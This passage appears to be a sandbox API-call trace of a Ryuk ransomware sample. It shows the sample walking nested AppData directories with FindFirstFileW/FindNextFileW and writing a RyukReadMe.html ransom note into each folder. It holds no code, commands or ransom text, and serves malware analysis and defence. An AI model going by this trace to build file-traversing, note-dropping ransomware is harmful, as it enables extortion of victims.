	[0278.055] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0278.055] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.055] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1
	[0278.055] SetLastError (dwErrCode=0x0) 
	[0278.055] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.055] GetLastError () returned 0xb7
	[0278.055] CloseHandle (hObject=0x8cc) returned 1
	[0278.056] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0278.056] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.056] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0278.056] SetLastError (dwErrCode=0x0) 
	[0278.056] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc
	[0278.057] GetLastError () returned 0x0
	[0278.057] WriteFile (in: hFile=0x8bc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18be38*=0x273, lpOverlapped=0x0) returned 1
	[0278.059] CloseHandle (hObject=0x8bc) returned 1
	[0278.059] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f8, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0278.059] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.059] SetLastError (dwErrCode=0x0) 
	[0278.060] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.060] GetLastError () returned 0x3
	[0278.060] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0278.060] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.060] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 0
	[0278.060] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0278.060] SetLastError (dwErrCode=0x0) 
	[0278.060] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\6ng60cxz.9gj\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.060] GetLastError () returned 0xb7
	[0278.060] CloseHandle (hObject=0x8cc) returned 1
	[0278.061] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1c9c00, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.061] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1c9c00, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.061] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0278.061] SetLastError (dwErrCode=0x0) 
	[0278.061] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\cjw3o3kp.bx7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0278.061] GetLastError () returned 0xb7
	[0278.061] CloseHandle (hObject=0x7f0) returned 1
	[0278.062] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1c9c00, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.062] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1c9c00, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.062] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.062] SetLastError (dwErrCode=0x0) 
	[0278.062] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.062] GetLastError () returned 0xb7
	[0278.062] CloseHandle (hObject=0x874) returned 1
	[0278.062] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b392c80, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b392c80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 1
	[0278.062] SetLastError (dwErrCode=0x0) 
	[0278.062] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.063] GetLastError () returned 0xb7
	[0278.063] CloseHandle (hObject=0x874) returned 1
	[0278.063] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b392c80, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b392c80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.063] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b392c80, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b392c80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.063] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b392c80, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b392c80, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b392c80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.063] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0278.063] SetLastError (dwErrCode=0x0) 
	[0278.064] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0278.064] GetLastError () returned 0xb7
	[0278.064] CloseHandle (hObject=0x7f0) returned 1
	[0278.064] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0278.066] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.067] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1
	[0278.067] SetLastError (dwErrCode=0x0) 
	[0278.067] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.067] GetLastError () returned 0x0
	[0278.067] WriteFile (in: hFile=0x8cc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0278.069] CloseHandle (hObject=0x8cc) returned 1
	[0278.069] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0278.069] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.070] SetLastError (dwErrCode=0x0) 
	[0278.070] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.070] GetLastError () returned 0x3
	[0278.070] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.070] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.070] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1
	[0278.070] SetLastError (dwErrCode=0x0) 
	[0278.070] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.070] GetLastError () returned 0xb7
	[0278.070] CloseHandle (hObject=0x8cc) returned 1
	[0278.071] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.杄眙")) returned 0xffffffffffffffff
	[0278.071] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.071] SetLastError (dwErrCode=0x0) 
	[0278.071] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.071] GetLastError () returned 0x3
